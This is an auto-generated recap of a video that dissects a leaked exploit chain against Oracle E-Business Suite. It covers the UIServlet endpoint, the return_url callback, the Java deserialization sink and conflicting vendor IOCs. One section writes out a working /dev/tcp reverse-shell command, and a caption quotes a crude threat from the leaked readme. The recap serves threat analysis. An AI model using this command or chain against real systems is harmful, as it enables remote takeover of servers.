# oracle is having a rough month..

Source: https://www.youtube.com/watch?v=iyPIR8pLksQ
Recap page: https://rapidrecap.app/video/iyPIR8pLksQ
Generated: 2025-10-15T15:32:30.365+00:00

---
## Quick Overview

The video details a complex, multi-stage exploitation chain targeting Oracle E-Business Suite (EBS) using two distinct zero-day vulnerabilities (CVE-2025-61882 and another related to a misconfigured endpoint) to achieve remote code execution and establish a reverse shell, highlighting confusion around IOCs published by different security vendors like Mandiant and CrowdStrike regarding which specific vulnerability was exploited.

**Key Points:**
- The primary attack vector involves exploiting CVE-2025-61882 in the Oracle Configurator product of EBS, which allows unauthenticated remote code execution.
- The exploit uses a return URL parameter within an XML blob payload to trick the target server into calling back to the attacker's infrastructure, ultimately delivering a reverse shell.
- The exploit chain involves two main actors—the initial attacker controlling the exploit delivery and a second attacker infrastructure receiving the reverse shell payload via `/bin/bash`.
- The public IOCs published by Oracle incorrectly listed the leaked exploit as fixed by CVE-2025-61884, causing confusion, as researchers noted the actual exploit targeted the `/Configuratory/UIservlet` endpoint.
- The threat actor, associated with CLOP ransomware and sometimes misattributed to Russian actors due to language checks in their payloads, is likely collaborating with or has expanded its partnership with the Scattered Lapsus$ Hunters group.
- The exploit leverages Java deserialization within the payload to execute arbitrary commands on the target system, including both Linux (`/bin/bash`) and Windows (`cmd`) shells.
- The video concludes by showcasing the successful execution of the exploit, resulting in a reverse shell connection back to the attacker's machine.

![Screenshot at 00:04: The video begins displaying the Mandiant/Google Cloud report titled 'Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign,' setting the stage for the technical deep dive into the vulnerability.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-00-04.png)

**Context:** This video analyzes an active extortion campaign tracked by Google Threat Intelligence Group (GTIG) and Mandiant, which exploits zero-day vulnerabilities in Oracle E-Business Suite (EBS). The campaign, associated with the CLOP ransomware group, targets EBS customers by sending extortion emails after data theft. The technical focus is on dissecting a publicly leaked proof-of-concept (PoC) exploit, specifically examining the communication flow and the mechanisms used to achieve remote code execution.

## Detailed Analysis

The video explains the exploitation process for a zero-day vulnerability in Oracle E-Business Suite (EBS), referencing reports from Mandiant and BleepingComputer. The initial step involves an attacker sending a crafted POST request containing an XML blob payload to the target server's `/html/configurator/UIServlet` endpoint. This payload contains a `return_url` parameter that directs the server to call back to the attacker's infrastructure. This callback triggers a second interaction where the target server downloads and processes a malicious XML blob from the attacker's server. The key to remote code execution lies in the Java deserialization within this XML blob, which uses `java.lang.Runtime.getRuntime().exec(cmds)` to execute arbitrary shell commands, supporting both Linux (`/bin/bash`) and Windows (`cmd`). The exploit chain is complex, leading to a reverse shell connection back to the attacker's listener. A major point of confusion discussed is the discrepancy in Indicators of Compromise (IOCs) published by different security vendors, particularly regarding which CVE (CVE-2025-61882 vs. 61884) correctly relates to the leaked exploit, suggesting potential misattribution or collaboration between threat actors like CLOP and Scattered Lapsus$ Hunters.

### Exploitation Overview

- Attacker sends POST request with XML blob containing return_url
- Target server fetches malicious XML from attacker's server
- XML triggers Java deserialization, leading to remote command execution.

### Payload Mechanics

- Payload uses Java reflection (`java.lang.reflect.Array.newInstance`) to build command arrays for execution via `Runtime.getRuntime().exec(cmds)`.

### Reverse Shell Establishment

- The executed command launches a reverse shell (e.g., `/bin/bash -i >& /dev/tcp/8.8.8.8/4444 0>&1`) back to the attacker's listener.

### Vendor Confusion/IOCs

- Oracle incorrectly associated the leaked exploit fix with CVE-2025-61884, while Mandiant/CrowdStrike suggested the exploit targeted a different endpoint (`/xml/html/syncservlet`), indicating differing intelligence or actor association (CLOP vs. Scattered Lapsus$ Hunters).

### Code Review

- The Python exploit script demonstrates setting up a local server to receive the reverse shell and dynamically generating payloads based on the target OS (Linux or Windows).

![Screenshot at 00:06: The video shows initial browser tabs referencing Mandiant and Palo Alto Unit 42 reports detailing the CLOP extortion campaign against Oracle EBS.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-00-06.png)
![Screenshot at 00:14: The presenter opens a terminal window, displaying the file structure of the downloaded exploit repository named 'ORACLE\_EBS\_NDAY\_EXPLOIT\_POC\_SCATTERED\_LAPSUS\_RETARD-CLOP\_HUNTERS'.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-00-14.png)
![Screenshot at 00:26: The presenter navigates to the Oracle E-Business Suite Documentation web library, referencing the affected software.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-00-26.png)
![Screenshot at 00:50: A slide showing the CVE-2025-61882 detail page, noting its base score of 9.8 \(High\) and vulnerability in the Oracle Configurator component.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-00-50.png)
![Screenshot at 01:47: The presenter uses a digital whiteboard to draw a simple diagram showing a 'computer' holding sensitive files, illustrating the concept of ransomware encryption.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-01-47.png)
![Screenshot at 03:30: The terminal shows the contents of the exploit folder, including 'exp.py' and 'server.py', which are Python scripts for the attack.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-03-30.png)
![Screenshot at 04:30: A detailed view of the Python code in 'exp.py', highlighting functions like 'get\_csrf\_token' and 'sso' which prepare and send the malicious request.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-04-30.png)
![Screenshot at 07:38: The presenter draws a flow diagram showing the interaction: Attacker -\> POST -\> Target Server, and the Server callback via 'return\_url' to the Attacker infrastructure, leading to command execution.](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-07-38.png)
![Screenshot at 11:19: The terminal displays the contents of the 'readme.md' file, which includes threatening messages from the CLOP group \('CLOP you are now REPORTED to the RFJ with your FULL Dox we have ur LOCATION U WILL BE DRONE STRICKED FUCK HEAD'\).](https://ss.rapidrecap.app/screens/iyPIR8pLksQ/00-11-19.png)